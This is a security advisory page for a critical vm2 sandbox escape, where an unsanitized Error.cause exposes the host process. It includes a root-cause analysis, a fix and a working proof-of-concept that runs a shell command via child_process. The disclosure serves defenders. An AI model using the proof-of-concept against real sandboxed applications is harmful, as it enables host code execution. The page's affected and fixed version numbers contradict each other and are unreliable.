GHSA-m283-3h24-438v: Critical severity npm/vm2 vulnerability

Published Aug 17, 2026
·
Updated

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked }

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

- lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling) - lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause - docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

javascript const { VM } = require('vm2');

const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } });

const result = vm.run( try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('childprocess').execSync('id').toString(); } );

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

- Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]);

// Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { / best effort / }

let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; }

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

| File | Role | |------|------| | pocerrorcauseescape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | pocerrorcauseescape.js

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.5
3.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.6
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.3
  3. Configuration

    Update vm2 (lib/setup-sandbox.js, handleException) to sanitize ES2022 `Error.cause` for all error types (not only SuppressedError/AggregateError): before the prototype-chain walk, detect `'cause' in e` and apply `handleException(e.cause, visited)` so `.cause` is not left unchecked when errors are wrapped/propagated (including cases built with `new Error('msg', { cause: originalError })`).

    vm2 sandbox error handling (lib/setup-sandbox.js) handleException must sanitize ES2022 Error.cause on all errors (before prototype-chain walk) = implemented (ensureThis(e) output has e.cause = handleException(e.cause, visited) for any error with 'cause' in e)

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-m283-3h24-438v?

The severity of GHSA-m283-3h24-438v is critical with a CVSS score of 9.9.

2

What versions of vm2 are affected by GHSA-m283-3h24-438v?

GHSA-m283-3h24-438v affects vm2 versions up to and including 3.11.3.

3

How do I fix GHSA-m283-3h24-438v?

To fix GHSA-m283-3h24-438v, you should upgrade vm2 to version 3.11.6 or later.

4

What type of vulnerabilities are associated with GHSA-m283-3h24-438v?

GHSA-m283-3h24-438v is associated with protection mechanism failure, classified under CWE-693.

5

What are the prerequisites for the exploitation of GHSA-m283-3h24-438v?

The prerequisite for exploiting GHSA-m283-3h24-438v is that the embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object like `process`.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203